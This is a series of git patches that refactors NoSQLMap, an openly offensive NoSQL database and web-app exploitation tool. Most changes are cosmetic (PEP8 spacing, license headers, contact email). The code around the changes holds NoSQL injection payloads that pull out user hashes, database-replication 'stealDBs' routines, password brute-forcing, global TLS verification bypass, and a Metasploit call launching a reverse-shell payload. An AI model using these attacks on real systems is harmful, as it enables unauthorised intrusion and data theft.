From 4931a2a66686bb576bd797a1607d5f210d929f90 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:20:18 +1000 Subject: [PATCH 01/68] Update gitignore for Visual Studio Python Projects --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index 5a71fa4..ef06659 100644 --- a/.gitignore +++ b/.gitignore @@ -219,3 +219,5 @@ pip-log.txt .idea/.name .idea/NoSQLMap.iml +*.iml +*.pyproj From f619a868e9858138cd723a4ebeeb8adc7058e487 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:20:36 +1000 Subject: [PATCH 02/68] Update to gitignore for VS2015 solutions --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index ef06659..5f6726b 100644 --- a/.gitignore +++ b/.gitignore @@ -221,3 +221,4 @@ pip-log.txt .idea/NoSQLMap.iml *.iml *.pyproj +*.sln From e6121146ad44a99b2e036900d759218e24020b90 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:23:43 +1000 Subject: [PATCH 03/68] Update license header information --- nosqlmap.py | 16 ++-------------- nsmcouch.py | 17 ++--------------- nsmscan.py | 16 +++------------- nsmweb.py | 15 ++------------- 4 files changed, 9 insertions(+), 55 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index 8460457..acf986c 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -1,18 +1,6 @@ #!/usr/bin/python -#NoSQLMap Copyright 2016 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . - +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission import sys import nsmcouch diff --git a/nsmcouch.py b/nsmcouch.py index 2a1df20..4626069 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -1,19 +1,6 @@ #!/usr/bin/python -#NoSQLMap Copyright 2016 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . - - +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission import couchdb import urllib diff --git a/nsmscan.py b/nsmscan.py index b287a0b..64b5b33 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -1,17 +1,7 @@ #!/usr/bin/python -#NoSQLMap Copyright 2016 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission + import ipcalc import nsmmongo diff --git a/nsmweb.py b/nsmweb.py index c619137..57406ac 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -1,17 +1,6 @@ #!/usr/bin/python -#NoSQLMap Copyright 2016 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission import urllib import urllib2 From 06275fbf70553942ed0dbba4e64414764621ed47 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:26:37 +1000 Subject: [PATCH 04/68] Begin PEP8 refactoring nosqlmap.py --- nosqlmap.py | 52 ++++++++++++++++++++++++++++------------------------ 1 file changed, 28 insertions(+), 24 deletions(-) diff --git a/nosqlmap.py b/nosqlmap.py index acf986c..0b6f703 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -11,10 +11,11 @@ import signal import ast + def main(): signal.signal(signal.SIGINT, signal_handler) global optionSet - #Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu. + # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu. optionSet = [False]*9 global yes_tag global no_tag @@ -31,7 +32,7 @@ def main(): global verb global scanNeedCreds global dbPort - #Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen ) + # Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen ) platform = "MongoDB" dbPort = 27017 myIP = "Not Set" @@ -85,13 +86,13 @@ def mainMenu(): elif platform == "CouchDB": nsmcouch.netAttacks(victim, dbPort, myIP) - #Check minimum required options + # Check minimum required options else: raw_input("Target not set! Check options. Press enter to continue...") elif select == "3": - #Check minimum required options + # Check minimum required options if (optionSet[0] == True) and (optionSet[2] == True): if httpMethod == "GET": nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders) @@ -119,6 +120,7 @@ def mainMenu(): else: raw_input("Invalid selection. Press enter to continue.") + def platSel(): global platform global dbPort @@ -142,6 +144,7 @@ def platSel(): else: raw_input("Invalid selection. Press enter to continue.") + def options(): global victim global webPort @@ -159,7 +162,7 @@ def options(): requestHeaders = {} optSelect = True - #Set default value if needed + # Set default value if needed if optionSet[0] == False: global victim victim = "Not Set" @@ -207,7 +210,7 @@ def options(): select = raw_input("Select an option: ") if select == "1": - #Unset the boolean if it's set since we're setting it again. + # Unset the boolean if it's set since we're setting it again. optionSet[0] = False ipLen = False @@ -215,16 +218,16 @@ def options(): goodDigits = True notDNS = True victim = raw_input("Enter the host IP/DNS name: ") - #make sure we got a valid IP + # make sure we got a valid IP octets = victim.split(".") if len(octets) != 4: - #Treat this as a DNS name + # Treat this as a DNS name optionSet[0] = True notDNS = False else: - #If len(octets) != 4 is executed the block of code below is also run, but it is not necessary - #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + # If len(octets) != 4 is executed the block of code below is also run, but it is not necessary + # If the format of the IP is good, check and make sure the octets are all within acceptable ranges. for item in octets: try: if int(item) < 0 or int(item) > 255: @@ -296,19 +299,19 @@ def options(): print "Invalid selection" elif select == "7": - #Unset the setting boolean since we're setting it again. + # Unset the setting boolean since we're setting it again. optionSet[4] = False while optionSet[4] == False: goodLen = False goodDigits = True - #Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug - #For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False - #Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables + # Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug + # For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False + # Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ") - #make sure we got a valid IP + # make sure we got a valid IP octets = myIP.split(".") - #If there aren't 4 octets, toss an error. + # If there aren't 4 octets, toss an error. if len(octets) != 4: print "Invalid IP length." @@ -316,19 +319,20 @@ def options(): goodLen = True if goodLen == True: - #If the format of the IP is good, check and make sure the octets are all within acceptable ranges. + # If the format of the IP is good, check and make sure the octets are all within acceptable ranges. for item in octets: if int(item) < 0 or int(item) > 255: print "Bad octet in IP address." goodDigits = False -# else: -# goodDigits = True - #Default value of goodDigits should be set to True - #for example 12.12345.12.12 + # else: + # goodDigits = True + # Default value of goodDigits should be set to True + # for example 12.12345.12.12 - #If everything checks out set the IP and break the loop + + # If everything checks out set the IP and break the loop if goodLen == True and goodDigits == True: print "\nShell/DB listener set to " + myIP + "\n" optionSet[4] = True @@ -368,7 +372,7 @@ def options(): if httpMethod == "POST": postData = ast.literal_eval(csvOpt[1]) - #Set option checking array based on what was loaded + # Set option checking array based on what was loaded x = 0 for item in optList: if item != "Not Set": @@ -398,7 +402,7 @@ def options(): paramValues = [] httpMethod = "POST" postData = reqData[len(reqData)-1] - #split the POST parameters up into individual items + # split the POST parameters up into individual items paramsNvalues = postData.split("&") for item in paramsNvalues: From ef21b7ebfcb77c69166abd93fbef5929a90296e4 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:27:52 +1000 Subject: [PATCH 05/68] Begin PEP8 refactor nsmcouch --- nsmcouch.py | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/nsmcouch.py b/nsmcouch.py index 4626069..da63bca 100644 --- a/nsmcouch.py +++ b/nsmcouch.py @@ -14,12 +14,14 @@ from hashlib import sha1 import os + global dbList global yes_tag global no_tag yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] + def couchScan(target,port,pingIt): if pingIt == True: test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null") @@ -68,7 +70,7 @@ def netAttacks(target,port, myIP): mgtOpen = False webOpen = False mgtSelect = True - #This is a global for future use with other modules; may change + # This is a global for future use with other modules; may change dbList = [] print "Checking to see if credentials are needed..." needCreds = couchScan(target,port,False) @@ -104,7 +106,7 @@ def netAttacks(target,port, myIP): mgtUrl = "https://" + target + ":" + str(port) + "/_utils" - #Future rev: Add web management interface parsing + # Future rev: Add web management interface parsing try: mgtRespCode = urllib.urlopen(mgtUrl).getcode() if mgtRespCode == 200: @@ -142,11 +144,13 @@ def netAttacks(target,port, myIP): if attack == "5": return + def getPlatInfo(couchConn, target): print "Server Info:" print "CouchDB Version: " + couchConn.version() return + def enumAtt(conn,target): dbList = [] print "Enumerating all attachments..." @@ -208,6 +212,7 @@ def enumDbs (couchConn,target,port): return + def stealDBs (myDB,couchConn,target,port): dbLoot = True menuItem = 1 @@ -234,7 +239,7 @@ def stealDBs (myDB,couchConn,target,port): break try: - #Create the DB target first + # Create the DB target first myServer = couchdb.Server("https://" + myDB + ":5984") targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen") couchConn.replicate(dbList[int(dbLoot)-1],"https://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen") @@ -251,6 +256,7 @@ def stealDBs (myDB,couchConn,target,port): raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...") return + def passCrack (user, encPass, salt, dbVer): select = True print "Select password cracking method: " @@ -273,9 +279,11 @@ def passCrack (user, encPass, salt, dbVer): return return + def genBrute(chars, maxLen): return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) + def brute_pass(hashVal,salt,dbVer): charSel = True print "\n" @@ -313,7 +321,7 @@ def brute_pass(hashVal,salt,dbVer): print "\rCombinations tested: " + str(count) + "\r" count += 1 - #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. + # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. if float(dbVer[0:3]) < 1.3: gotIt = gen_pass_couch(attempt,salt,hashVal) else: @@ -322,6 +330,7 @@ def brute_pass(hashVal,salt,dbVer): if gotIt == True: break + def dict_pass(key,salt,dbVer): loadCheck = False @@ -341,7 +350,7 @@ def dict_pass(key,salt,dbVer): for passGuess in passList: temp = passGuess.split("\n")[0] - #CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. + # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use. if float(dbVer[0:3]) < 1.3: gotIt = gen_pass_couch(temp,salt,key) else: @@ -352,6 +361,7 @@ def dict_pass(key,salt,dbVer): return + def gen_pass_couch(passw, salt, hashVal): if sha1(passw+salt).hexdigest() == hashVal: print "Password Cracked - "+passw @@ -360,6 +370,7 @@ def gen_pass_couch(passw, salt, hashVal): else: return False + def gen_pass_couch13(passw, salt, iterations, hashVal): result=PBKDF2(passw,salt,iterations).read(20) expected=a2b_hex(hashVal) From 26ad2ed648564dffb8d462d58eca72960056fccc Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:29:23 +1000 Subject: [PATCH 06/68] Begin PEP8 refactor nsmmonogo --- nsmmongo.py | 35 +++++++++++++++++++---------------- 1 file changed, 19 insertions(+), 16 deletions(-) diff --git a/nsmmongo.py b/nsmmongo.py index 686b018..04a0b20 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -1,17 +1,7 @@ #!/usr/bin/python -#NoSQLMap Copyright 2016 Russell Butturini -#This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -#the Free Software Foundation, either version 3 of the License, or -#(at your option) any later version. - -#This program is distributed in the hope that it will be useful, -#but WITHOUT ANY WARRANTY; without even the implied warranty of -#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -#GNU General Public License for more details. - -#You should have received a copy of the GNU General Public License -#along with this program. If not, see . +# NoSQLMap Copyright 2012-2017 NoSQLMap Development team +# See the file 'doc/COPYING' for copying permission + import pymongo import urllib import json @@ -22,18 +12,20 @@ from hashlib import md5 import os + global yes_tag global no_tag yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] + def netAttacks(target, dbPort, myIP, myPort): print "DB Access attacks (MongoDB)" print "=================" mgtOpen = False webOpen = False mgtSelect = True - #This is a global for future use with other modules; may change + # This is a global for future use with other modules; may change global dbList dbList = [] @@ -70,7 +62,7 @@ def netAttacks(target, dbPort, myIP, myPort): mgtUrl = "https://" + target + ":28017" - #Future rev: Add web management interface parsing + # Future rev: Add web management interface parsing try: mgtRespCode = urllib.urlopen(mgtUrl).getcode() @@ -138,6 +130,7 @@ def netAttacks(target, dbPort, myIP, myPort): if attack == "6": return + def stealDBs(myDB,victim,mongoConn): dbList = mongoConn.database_names() dbLoot = True @@ -161,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn): break try: - #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. + # Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") myDBConn = pymongo.MongoClient(myDB, 27017) if dbNeedCreds in no_tag: @@ -195,6 +188,7 @@ def stealDBs(myDB,victim,mongoConn): raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") return + def passCrack (user, encPass): select = True print "Select password cracking method: " @@ -217,6 +211,7 @@ def passCrack (user, encPass): return return + def gen_pass(user, passw, hashVal): if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal: print "Found - " + user + ":" + passw @@ -224,6 +219,7 @@ def gen_pass(user, passw, hashVal): else: return False + def dict_pass(user,key): loadCheck = False @@ -245,9 +241,11 @@ def dict_pass(user,key): break return + def genBrute(chars, maxLen): return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1))) + def brute_pass(user,key): charSel = True print "\n" @@ -287,6 +285,7 @@ def brute_pass(user,key): break return + def getPlatInfo (mongoConn): print "Server Info:" print "MongoDB Version: " + mongoConn.server_info()['version'] @@ -295,6 +294,7 @@ def getPlatInfo (mongoConn): print "\n" return + def enumDbs (mongoConn): try: print "List of databases:" @@ -333,6 +333,7 @@ def enumDbs (mongoConn): print "\n" return + def msfLaunch(): try: proc = subprocess.call("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str(victim) +" DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str(myIP) + " LPORT="+ str(myPort) + " E", shell=True) @@ -342,6 +343,7 @@ def msfLaunch(): raw_input("Press enter to continue...") return + def enumGrid (mongoConn): try: for dbItem in mongoConn.database_names(): @@ -361,6 +363,7 @@ def enumGrid (mongoConn): return + def mongoScan(ip,port,pingIt): if pingIt == True: From 3f6328e64e3a4e07c219ec38c663932f713f7984 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:29:46 +1000 Subject: [PATCH 07/68] Begin PEP8 refactor nsmscan --- nsmscan.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nsmscan.py b/nsmscan.py index 64b5b33..1360b4f 100644 --- a/nsmscan.py +++ b/nsmscan.py @@ -7,6 +7,7 @@ import nsmmongo import nsmcouch + def massScan(platform): yes_tag = ['y', 'Y'] no_tag = ['n', 'N'] @@ -83,11 +84,11 @@ def massScan(platform): elif result[0] == 1: print platform + " running but credentials required on " + target.rstrip() + "." - creds.append(target.rstrip()) #Future use + creds.append(target.rstrip()) # Future use elif result[0] == 2: print "Successful " + platform + " connection to " + target.rstrip() + " but error executing command." - commError.append(target.rstrip()) #Future use + commError.append(target.rstrip()) # Future use elif result[0] == 3: print "Couldn't connect to " + target.rstrip() + "." From 66a734fbadb9ab8352561efc344c1d11253114b4 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:32:18 +1000 Subject: [PATCH 08/68] Begin PEP8 refactor NSMWeb --- nsmweb.py | 60 ++++++++++++++++++++++++++++++------------------------- 1 file changed, 33 insertions(+), 27 deletions(-) diff --git a/nsmweb.py b/nsmweb.py index 57406ac..3c99ed0 100644 --- a/nsmweb.py +++ b/nsmweb.py @@ -2,6 +2,7 @@ # NoSQLMap Copyright 2012-2017 NoSQLMap Development team # See the file 'doc/COPYING' for copying permission + import urllib import urllib2 import string @@ -11,12 +12,13 @@ import time import random -#Fix for dealing with self-signed certificates. This is wrong and highly discouraged, but it's a hacking tool, so it's fixed with a hack. Get over it :-) +# Fix for dealing with self-signed certificates. This is wrong and highly discouraged, to be revisited in stable branch if version_info >= (2, 7, 9): import ssl ssl._create_default_https_context = ssl._create_unverified_context + def getApps(webPort,victim,uri,https,verb,requestHeaders): print "Web App Attacks (GET)" print "===============" @@ -44,7 +46,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): global int24 int24 = False - #Verify app is working. + # Verify app is working. print "Checking to see if site at " + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() + " is up..." if https == "OFF": @@ -83,8 +85,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" - #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - #Add error handling for Non-200 HTTP response codes if random strings freaks out the app. + # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. + # Add error handling for Non-200 HTTP response codes if random strings freaks out the app. if "?" not in appURL: print "No URI parameters provided for GET request...Check your options.\n" raw_input("Press enter to continue...") @@ -113,7 +115,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: print "Test 1: PHP/ExpressJS != associative array injection" - #Test for errors returned by injection + # Test for errors returned by injection req = urllib2.Request(uriArray[1], None, requestHeaders) errorCheck = errorTest(str(urllib2.urlopen(req).read()),testNum) @@ -162,7 +164,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): else: testNum +=1 - #Start a single record attack in case the app expects only one record back + # Start a single record attack in case the app expects only one record back print "\n" if verb == "ON": print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n" @@ -344,6 +346,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders): raw_input("Press enter to continue...") return() + def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): print "Web App Attacks (POST)" print "===============" @@ -366,7 +369,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): global gtDict testNum = 1 - #Verify app is working. + # Verify app is working. print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..." if https == "OFF": @@ -423,8 +426,8 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): injectString = randInjString(int(injectSize)) print "Using " + injectString + " for injection testing.\n" - #Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. - #Add error handling for Non-200 HTTP response codes if random strings freak out the app. + # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same. + # Add error handling for Non-200 HTTP response codes if random strings freak out the app. postData.update({injOpt:injectString}) if verb == "ON": print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n" @@ -444,7 +447,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): else: print "Random value variance: " + str(randNormDelta) + "\n" - #Generate not equals injection + # Generate not equals injection neDict = postData neDict[injOpt + "[$ne]"] = neDict[injOpt] del neDict[injOpt] @@ -467,10 +470,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): testNum +=1 print "\n" - #Delete the extra key + # Delete the extra key del postData[injOpt + "[$ne]"] - #generate $gt injection + # generate $gt injection gtDict = postData gtDict.update({injOpt:""}) gtDict[injOpt + "[$gt]"] = gtDict[injOpt] @@ -530,7 +533,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): testNum += 1 print "\n" - #Start a single record attack in case the app expects only one record back + # Start a single record attack in case the app expects only one record back postData.update({injOpt:"a'; return db.a.findOne(); var dummy='!"}) body = urllib.urlencode(postData) req = urllib2.Request(appURL,body, requestHeaders) @@ -706,6 +709,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders): raw_input("Press enter to continue...") return() + def errorTest (errorCheck,testNum): global possAddrs global httpMethod @@ -811,6 +815,7 @@ def checkResult(baseSize,respSize,testNum,verb,postData): possAddrs.append(str(postData)) return + def randInjString(size): print "What format should the random string take?" print "1-Alphanumeric" @@ -959,6 +964,7 @@ def buildUri(origUri, randValue): return uriArray[0] + def getDBInfo(): curLen = 0 nameLen = 0 @@ -1028,7 +1034,7 @@ def getDBInfo(): if getUserInf.lower() == "y": charCounter = 0 nameCounter = 0 - #find the total number of users on the database + # find the total number of users on the database while gotUserCnt == False: usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a") @@ -1042,11 +1048,11 @@ def getDBInfo(): else: usrCount += 1 - usrChars = 0 #total number of characters in username - charCounterUsr = 0 #position in the character array-Username - rightCharsUsr = 0 #number of correct characters-Username - rightCharsHash = 0 #number of correct characters-hash - charCounterHash = 0 #position in the character array-hash + usrChars = 0 # total number of characters in username + charCounterUsr = 0 # position in the character array-Username + rightCharsUsr = 0 # number of correct characters-Username + rightCharsHash = 0 # number of correct characters-hash + charCounterHash = 0 # position in the character array-hash username = "" pwdHash = "" charCountUsr = False @@ -1055,14 +1061,14 @@ def getDBInfo(): while retrUsers < usrCount: if retrUsers == 0: while charCountUsr == False: - #different query to get the first user vs. others + # different query to get the first user vs. others usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: - #Got the right number of characters + # Got the right number of characters charCountUsr = True else: @@ -1085,7 +1091,7 @@ def getDBInfo(): retrUsers += 1 users.append(username) - #reinitialize all variables and get ready to do it again + # reinitialize all variables and get ready to do it again #print str(retrUsers) #print str(users) charCountUsr = False @@ -1110,20 +1116,20 @@ def getDBInfo(): hashes.append(pwdHash) print "Got user:hash " + users[0] + ":" + hashes[0] - #reinitialize all variables and get ready to do it again + # reinitialize all variables and get ready to do it again charCounterHash = 0 rightCharsHash = 0 pwdHash = "" else: while charCountUsr == False: - #different query to get the first user vs. others + # different query to get the first user vs. others usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&") req = urllib2.Request(usrUri, None, requestHeaders) lenUri = int(len(urllib2.urlopen(req).read())) if lenUri == baseLen: - #Got the right number of characters + # Got the right number of characters charCountUsr = True else: @@ -1145,7 +1151,7 @@ def getDBInfo(): charCounterUsr += 1 retrUsers += 1 - #reinitialize all variables and get ready to do it again + # reinitialize all variables and get ready to do it again charCountUsr = False rightCharsUsr = 0 @@ -1168,7 +1174,7 @@ def getDBInfo(): users.append(username) hashes.append(pwdHash) print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1] - #reinitialize all variables and get ready to do it again + # reinitialize all variables and get ready to do it again username = "" charCounterHash = 0 rightCharsHash = 0 From 1ab466b2d532357742577b4fed0aa671df1a4f5d Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:33:06 +1000 Subject: [PATCH 09/68] Update contact email --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index c0d518b..27de04e 100644 --- a/setup.py +++ b/setup.py @@ -19,7 +19,7 @@ "requests==2.5.0"], author = "tcstool", - author_email = "nosqlmap@gmail.com", + author_email = "codingo@protonmail.com", description = "Automated MongoDB and NoSQL web application exploitation tool", license = "GPLv3", long_description = f.read(), From f955dc7561e53beb3d2789ff110b0550ca69a889 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:44:35 +1000 Subject: [PATCH 10/68] Contact email change --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 0b6f703..510141f 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -64,7 +64,7 @@ def mainMenu(): print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/" print "====================================================" print "NoSQLMap-v0.7" - print "nosqlmap@gmail.com" + print "codingo@protonmail.com" print "\n" print "1-Set options" print "2-NoSQL DB Access Attacks" From 0a853736acc24cbadde75714d42112fc1a946c54 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 10:47:52 +1000 Subject: [PATCH 11/68] Delete NoSQLMap-v0.5.iml --- .idea/NoSQLMap-v0.5.iml | 11 ----------- 1 file changed, 11 deletions(-) delete mode 100644 .idea/NoSQLMap-v0.5.iml diff --git a/.idea/NoSQLMap-v0.5.iml b/.idea/NoSQLMap-v0.5.iml deleted file mode 100644 index 6711606..0000000 --- a/.idea/NoSQLMap-v0.5.iml +++ /dev/null @@ -1,11 +0,0 @@ - - - - - - - - - - \ No newline at end of file From 447227e3f1ac2f21a1ea8531ae60541e89bea3d8 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:02:01 +1000 Subject: [PATCH 12/68] Removing redundant file --- __init__.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100644 __init__.py diff --git a/__init__.py b/__init__.py deleted file mode 100644 index e69de29..0000000 From adb555b6b3da7a8916eca129feea28ad8992d056 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 11:05:16 +1000 Subject: [PATCH 13/68] Create ISSUE_TEMPLATE.md --- ISSUE_TEMPLATE.md | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 ISSUE_TEMPLATE.md diff --git a/ISSUE_TEMPLATE.md b/ISSUE_TEMPLATE.md new file mode 100644 index 0000000..92018da --- /dev/null +++ b/ISSUE_TEMPLATE.md @@ -0,0 +1,25 @@ +## What's the problem (or question)? + + + +## Do you have an idea for a solution? + + + +## How can we reproduce the issue? + +1. +2. +3. +4. + +## What are the running context details? + +* Installation method (e.g. `pip`, `apt-get`, `git clone` or `zip`/`tar.gz`): +* Client OS (e.g. `Microsoft Windows 10`) +* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): +* Target DBMS (e.g. `Mongo`): +* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`): +* Results of manual target assessment +* Relevant console output (if any): +* Exception traceback (if any): From 6628cfc7544c9f70bd60c5da661e249254397012 Mon Sep 17 00:00:00 2001 From: Michael Date: Thu, 24 Aug 2017 01:14:04 +0000 Subject: [PATCH 14/68] Add files via upload --- screenshots/NoSQLMap-v0-5.jpg | Bin 0 -> 87195 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 screenshots/NoSQLMap-v0-5.jpg diff --git a/screenshots/NoSQLMap-v0-5.jpg b/screenshots/NoSQLMap-v0-5.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e37370ae85147314bbb59a33e616eacc614430c9 GIT binary patch literal 87195 zcmb4qWmp_R)8ODva1X&9f;$9vcXxLuXn^4EvRH6;w?J@r*x!r60H2tYmYn!K^?Q5*3Kj}#I(kMXMk2D093L6jX&D$9{t1CX zKtx1FLdHQs!C@dFAYu6bPH+7HCL**H3^xoE1pti+1%nCoHV6;{05r_M+Wt?1f`)~I zfk%K42_b}k>3?Vd6f_Jh+}kRE3Ihc|W58el0MuhURDB5;wXtqPUARQd}1<-)`E) zUF|c%vJzRnt`mIBurthKL{hW%`w&mRVNfqSoFFeDoRDQZ+|J4Sx{AkTP_x|(p>R7~ zYCGJvV{00-y#a-LQo>i5SIMvmqsbnJUj#i12s*Ppdj(D*ep#sJODr>LE8lZ z1W1u4LI1FdoPY{I1i(TA0Nm(W!9YnTK8o$?c9A8$YipXRd3++39nF}j)Aup~QTM~{ zHQovb5}el0EBo2JYm-b2*NY8AJ3kGatu*{gIyS$@q1wT2&(lk;6zFYwzrR0LbrN2l 